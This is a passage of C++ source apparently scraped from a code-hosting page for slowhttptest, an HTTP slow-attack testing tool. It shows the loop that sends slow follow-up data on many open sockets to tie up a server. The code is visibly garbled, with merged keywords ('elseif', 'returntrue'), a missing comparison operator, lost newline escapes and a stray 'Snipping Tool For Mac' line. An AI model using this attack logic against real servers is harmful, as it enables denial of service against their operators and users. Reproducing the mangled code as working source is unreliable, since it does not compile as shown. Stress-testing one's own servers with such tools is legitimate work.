if(ret > 0) { //actual data was sent |
sock_[i]->set_state(eConnected); |
is_any_ever_connected = true; |
slowlog(LOG_DEBUG, |
'%s:initial %d of %d bytes sent on socket %d:n%s', |
__FUNCTION__, ret, |
(int) request_.size(), |
(int) sock_[i]->get_sockfd(), |
request_.c_str()); |
} else { |
// still in connect phase |
//slowlog(LOG_DEBUG, 'socket %d wr status:%sn', |
// (int)sock_[i]->get_sockfd(), |
// strerror(errno)); |
} |
} |
} elseif(sock_[i]->get_followups_to_send() > 0 |
&& (seconds_passed_ > 0 |
&& seconds_passed_ % followup_timing_ 0)) { |
extra_data = get_random_extra(); |
ret = sock_[i]->send_slow(extra_data, |
strlen(extra_data), eFollowUpSend); |
if(ret <= 0 && errno != EAGAIN) { |
sock_[i]->set_state(eClosed); |
slowlog(LOG_DEBUG, |
'%s:error sending follow up data on socket %d:n%sn', |
__FUNCTION__, sock_[i]->get_sockfd(), |
strerror(errno)); |
close_sock(i); |
#ifdef HAVE_POLL |
fds[i+1].events = 0; |
#endif |
continue; |
} else { |
if(ret > 0) { //actual data was sent |
slowlog(LOG_DEBUG, |
'%s:%d of %d bytes of follow up data sent on socket %d:n%sn%d follow ups leftn', |
__FUNCTION__, ret, |
(int) strlen(extra_data), |
(int) sock_[i]->get_sockfd(), |
extra_data, |
sock_[i]->get_followups_to_send()); |
} else { |
// still in connect phase |
// slowlog(LOG_DEBUG, 'socket %d wr status:%sn', |
// (int)sock_[i]->get_sockfd(), |
// strerror(errno)); |
} |
} |
} |
} else { |
// if(sock_[i] && sock_[i]->get_requests_to_send() > 0) { |
// trying to connect, server slowing down probably |
// slowlog(LOG_WARN, 'pending connection on socket %dn', sock_[i]->get_sockfd()); |
//} |
} |
} |
} |
} |
if(num_connected < num_connections_) { |
// throttle down conenction rate, assume connect() returned immediately |
usleep(tv_delay.tv_usec); |
} |
} |
#ifdef HAVE_POLL |
delete [] fds; |
#endif |
returntrue; |
} |
} // namespace slowhttptest |
Snipping Tool For Mac
Copy lines Copy permalink